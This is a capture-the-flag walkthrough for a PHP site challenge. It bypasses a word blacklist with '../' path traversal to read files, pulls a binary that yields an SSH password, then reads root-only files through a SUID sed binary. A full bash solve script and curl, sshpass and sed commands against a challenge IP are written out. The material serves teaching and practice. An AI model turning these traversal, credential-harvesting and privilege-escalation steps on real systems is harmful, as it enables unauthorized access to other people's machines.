Иллюзия (Illusion)
Иллюзия (Illusion)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: word_segment_blacklist_bypass, dotdot_traversal_only, relative_cwd_lfi, elf_string_extraction, base64_argv_check, suid_sed_root_read
Summary
Walkthrough of the CUSTOM Web Иллюзия (Illusion). Task: Apache+PHP site with ?page= LFI guarded by a per-segment word blacklist (etc/php/proc/root) and a fake 403 page that returns HTTP 200. Solution: bypass filter using .. (not blacklisted) to r
Description
Мы наняли хорошего верстальщика, который разработал сайт для нашей компании. Надеюсь, про безопасность он не забыл...
English summary: an Apache + PHP "Car's Collection" site is exposed on port 18200 along with SSH on port 18222. The site loads pages via ?page=... (classic LFI shape). A blacklist filter and a fake 403 page create the "illusion" of being safe. Goal: assemble the flag from /home/steve/first_part and /root/last_part.
Analysis
Recon
HTTP : http://62.173.140.174:18200/ Apache httpd + PHP, / → 302 → /index.php?page=main.php
SSH : ssh://62.173.140.174:18222/ OpenSSH 8.9p1 Ubuntu (Docker container)
?page=.htaccess reveals:
apache read-only • copy allowedOptions -Indexes ErrorDocument 403 403.html ErrorDocument 404 403.html
Note: paths are missing the leading /, so Apache cannot resolve them and just renders the literal text "403.html" — important detail explained below.
The "Illusion" — fake 403
Probing ?page=... with various payloads, three response shapes appear:
| Outcome | HTTP code | Body |
|---|---|---|
| File found and allowed | 200 | actual file contents |
| Filter blocks the request | 200 | 329-byte 403.html stub |
| File not found | 302 | redirect back to main |
The "blocked" response looks like a 403 but is served as HTTP 200. The server isn't actually denying the request — it's including the 403.html template as if everything is fine. That is the illusion: a status code that pretends nothing was attacked.
Filter reverse-engineering
By sending dozens of variants to ?page=, the filter behaves like:
foreach (segment in path.split('/')):
word = str_replace('.', '', segment)
if word in {"etc", "php", "proc", "root"} (case-sensitive):
deny
if any char in {'-', ' ', '@', '*', '+', '#', ...}:
deny
So:
| Payload | Result |
|---|---|
/etc/passwd | blocked (etc segment) |
./etc/ | blocked |
e..tc | blocked (dots stripped → etc) |
p.h.p | blocked |
*.php | blocked (* is forbidden) |
ETC, Php | allowed (case-sensitive blacklist) |
aetcb, etc.x, a.etc | allowed (substring is fine) |
.. | allowed (after stripping dots → empty string, not in blacklist) |
| |
Path constraints
- Absolute paths like
/var/www/html/main.phpreturn HTTP 200 with 0 bytes —include()silently fails (looks like open_basedir or similar restriction). - Relative
./main.phpworks (21079 bytes). - CWD is
/var/www/html/(confirmed by./../html/main.php).
So we need a relative traversal payload that never contains a blacklisted word in any path segment.
Solution
Step 1 — LFI bypass with ..
.. passes the blacklist (the dot-strip turns it into an empty string). We can climb out of webroot freely:
bash read-only • copy allowedcurl -s "http://62.173.140.174:18200/index.php?page=../../../etc/passwd" # blocked → 403.html (etc segment) curl -s "http://62.173.140.174:18200/index.php?page=../../../home/steve/hello" -o hello.bin # 23912 bytes, ELF 64-bit
The username steve was found by ffuf against ?page=../../../home/FUZZ/hello (and by harvesting common Linux usernames). After three levels up (../../../ from /var/www/html/) we hit /home/.
Step 2 — Reverse the hello binary
bash read-only • copy allowedfile hello.bin # ELF 64-bit LSB pie executable, x86-64, dynamically linked, not stripped strings hello.bin | grep -E '[A-Za-z0-9+/=]{8,}' # c3RldmU= ← base64("steve")
In radare2 the main function:
- Checks
argc == 2. - Compares
argv[1]against the literal"c3RldmU="(base64 ofsteve). - On match, builds an output string by concatenating bytes from a stack buffer and a
.datachunk, then prints it.
Running it locally:
bash read-only • copy allowedchmod +x hello.bin ./hello.bin c3RldmU= # c3QzdjNsMHYzY2F0cw== echo c3QzdjNsMHYzY2F0cw== | base64 -d # st3v3l0v3cats
That looks exactly like an SSH password.
Step 3 — SSH as steve
bash read-only • copy allowedsshpass -p 'st3v3l0v3cats' ssh -p 18222 -o StrictHostKeyChecking=no steve@62.173.140.174 steve@box:~$ cat /home/steve/first_part CODEBY{REDACTED
Half the flag obtained. The second half lives in /root/last_part (root-only).
Step 4 — Privilege escalation via SUID sed
bash read-only • copy allowedsteve@box:~$ find / -perm -4000 -type f 2>/dev/null /usr/bin/sed ...
/usr/bin/sed has the SUID bit and is owned by root. GTFOBins for sed — when SUID, sed can read arbitrary files as root:
bash read-only • copy allowedsteve@box:~$ /usr/bin/sed -n p /root/last_part _b3_true}
Step 5 — Assemble the flag
CODEBY{REDACTED + _b3_true}
= CODEBY{REDACTED}
Full solve script
bash read-only • copy allowed#!/usr/bin/env bash # illusion full solve set -euo pipefail HOST=62.173.140.174 HTTP_PORT=18200 SSH_PORT=18222 URL="http://${HOST}:${HTTP_PORT}/index.php" # 1. Pull the hello binary via LFI (.. bypass) curl -s "${URL}?page=../../../home/steve/hello" -o hello.bin chmod +x hello.bin # 2. Reverse: argv[1] must be base64('steve'); output is base64 of password PASS=$(./hello.bin "$(printf steve | base64)" | base64 -d) echo "[+] steve password: $PASS" # 3. SSH in, read first part, then SUID sed root-read of last part sshpass -p "$PASS" ssh -p "$SSH_PORT" -o StrictHostKeyChecking=no steve@$HOST ' FIRST=$(cat /home/steve/first_part); LAST=$(/usr/bin/sed -n p /root/last_part); echo "FLAG: ${FIRST}${LAST}" '
Key Takeaways / Lessons
- Mastering word_segment_blacklist_bypass, dotdot_traversal_only, relative_cwd_lfi, elf_string_extraction, base64_argv_check, suid_sed_root_read was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-04-17 • CUSTOM • Иллюзия (Illusion) • Difficulty: Medium